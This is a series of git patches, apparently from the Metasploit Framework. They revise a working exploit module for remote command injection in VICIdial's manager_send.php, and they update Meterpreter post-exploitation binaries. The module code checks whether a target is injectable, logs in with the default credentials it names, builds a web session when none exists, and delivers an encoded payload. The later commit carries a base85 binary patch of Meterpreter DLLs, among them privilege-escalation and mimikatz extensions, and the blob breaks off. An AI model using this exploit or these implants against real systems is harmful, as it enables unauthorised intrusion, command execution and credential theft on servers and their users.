request('ls -a .') + res = request('ls -a .') - if resp.nil? - vprint_error("Check was unsuccessful") - return Exploit::CheckCode::Unknown - else - vprint_line(resp.body) - if resp.body =~ /\.\n\.\.\n/m - return Exploit::CheckCode::Vulnerable - else + if res and res.code == 200 + if res.body =~ /Invalid Username\/Password/ + vprint_error("#{peer} - Invalid Username or Password.") return Exploit::CheckCode::Detected + elsif res.body =~ /Invalid session_name/ + vprint_error("#{peer} - Web client session not found") + return Exploit::CheckCode::Detected + elsif res.body =~ /\.\n\.\.\n/m + return Exploit::CheckCode::Vulnerable end end + + return Exploit::CheckCode::Unknown end def exploit - request("#{payload.encode}") + print_status("#{peer} - Checking if injection is possible...") + res = request('ls -a .') + + unless res and res.code == 200 + fail_with(Failure::Unknown - "#{peer} - Unknown response, check the target") + end + + if res.body =~ /Invalid Username\/Password/ + fail_with(Failure::NoAccess - "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD") + end + + if res.body =~ /Invalid session_name/ + print_error("#{peer} - Valid web client session not found, trying to create one...") + res = login + unless res and res.code == 200 and res.body =~ /you are logged/ + fail_with(Failure::NoAccess - "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.") + end + res = request('ls -a .') + end + + unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m + fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible") + end + + print_good("#{peer} - Exploitation looks feasible, proceeding... ") + request("#{payload.encoded}", 1) end end From 2d4090d9c35298c328807534299b683273cc79ba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 6 Nov 2013 20:33:47 -0600 Subject: [PATCH 399/409] Make option astGUIclient credentials --- .../webapp/vicidial_manager_send_cmd_exec.rb | 40 ++++++++++++++----- 1 file changed, 31 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index 87ae7f3b51..becbb997bc 100755 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -20,10 +20,11 @@ class Metasploit3 < Msf::Exploit::Remote the injection point. Fortunately, VICIdial has two built-in accounts with default passwords and the manager_send.php file has a SQL injection vulnerability that can be used to bypass the session check as long as at least one session has been - created at some point in time. The results of the injected command are returned - as part of the response from the web server. Affected versions include 2.7RC1, - 2.7, and 2.8-403a. Other versions are likely affected as well. The default - credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit. + created at some point in time. In case there isn't any valid session, the user can + provide astGUIcient credentials in order to create one. The results of the injected + command are returned as part of the response from the web server. Affected versions + include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The + default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit. }, 'Author' => [ @@ -74,10 +75,10 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']), - OptString.new('USER_ASTGUI', [true, 'astGUIcient User Login', '6666']), - OptString.new('PASS_ASTGUI', [true, 'astGUIcient User Password', '1234']), - OptString.new('PHONE_USER_ASTGUI', [true, 'astGUIcient Phone Login', '6666']), - OptString.new('PHONE_PASSWORD_ASTGUI', [true, 'astGUIcient Phone Password', '1234']) + OptString.new('USER_ASTGUI', [false, 'astGUIcient User Login', '6666']), + OptString.new('PASS_ASTGUI', [false, 'astGUIcient User Password', '1234']), + OptString.new('PHONE_USER_ASTGUI', [false, 'astGUIcient Phone Login', '6666']), + OptString.new('PHONE_PASSWORD_ASTGUI', [false, 'astGUIcient Phone Password', '1234']) ], self.class) end @@ -103,6 +104,26 @@ class Metasploit3 < Msf::Exploit::Remote return res end + def astguiclient_creds? + if datastore["USER_ASTGUI"].nil? or datastore["USER_ASTGUI"].empty? + return false + end + + if datastore["PASS_ASTGUI"].nil? or datastore["PASS_ASTGUI"].empty? + return false + end + + if datastore["PHONE_USER_ASTGUI"].nil? or datastore["PHONE_USER_ASTGUI"].empty? + return false + end + + if datastore["PHONE_PASSWORD_ASTGUI"].nil? or datastore["PHONE_PASSWORD_ASTGUI"].empty? + return false + end + + return true + end + def request(cmd, timeout = 20) begin res = send_request_cgi({ @@ -159,10 +180,11 @@ class Metasploit3 < Msf::Exploit::Remote end if res.body =~ /Invalid session_name/ + fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds? print_error("#{peer} - Valid web client session not found, trying to create one...") res = login unless res and res.code == 200 and res.body =~ /you are logged/ - fail_with(Failure::NoAccess - "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.") + fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.") end res = request('ls -a .') end From 715fdc05ec10c16af9e54a884ff04fc379371604 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 7 Nov 2013 11:27:33 +1000 Subject: [PATCH 400/409] Updated meterpreter binaries Includes the following changes: * Security cleanup - remove use of insecure functions * Windows 8/8.1/2012 R2 support to sysinfo * VS 2013 upgrade * Command dispatcher refactor * Getproxy command added (needs MSF side too) --- data/meterpreter/elevator.x64.dll | Bin 77312 -> 91136 bytes data/meterpreter/elevator.x86.dll | Bin 68608 -> 80384 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 202752 -> 203776 bytes data/meterpreter/ext_server_espia.x86.dll | Bin 204800 -> 203264 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 89600 -> 106496 bytes data/meterpreter/ext_server_incognito.x86.dll | Bin 75776 -> 98816 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 228352 -> 227840 bytes .../meterpreter/ext_server_lanattacks.x86.dll | Bin 186368 -> 180736 bytes data/meterpreter/ext_server_mimikatz.x64.dll | Bin 545792 -> 541696 bytes data/meterpreter/ext_server_mimikatz.x86.dll | Bin 414208 -> 406528 bytes data/meterpreter/ext_server_networkpug.lso | Bin 16592 -> 16726 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 121856 -> 136704 bytes data/meterpreter/ext_server_priv.x86.dll | Bin 105984 -> 121856 bytes data/meterpreter/ext_server_sniffer.lso | Bin 62033 -> 63556 bytes data/meterpreter/ext_server_sniffer.x64.dll | Bin 432640 -> 432640 bytes data/meterpreter/ext_server_sniffer.x86.dll | Bin 432128 -> 424960 bytes data/meterpreter/ext_server_stdapi.lso | Bin 64839 -> 69298 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 406016 -> 408576 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 376832 -> 375808 bytes data/meterpreter/metsrv.x64.dll | Bin 970240 -> 970752 bytes data/meterpreter/metsrv.x86.dll | Bin 770048 -> 768512 bytes data/meterpreter/msflinker_linux_x86.bin | Bin 1126400 -> 1228800 bytes data/meterpreter/screenshot.x64.dll | Bin 202240 -> 202752 bytes data/meterpreter/screenshot.x86.dll | Bin 203776 -> 202752 bytes 24 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index 2b5e4f408cfa4e87db603a2cb0beb7eae42de908..5ef92081917387520c5cba7c505b2f7fd62f5245 100755 GIT binary patch literal 91136 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 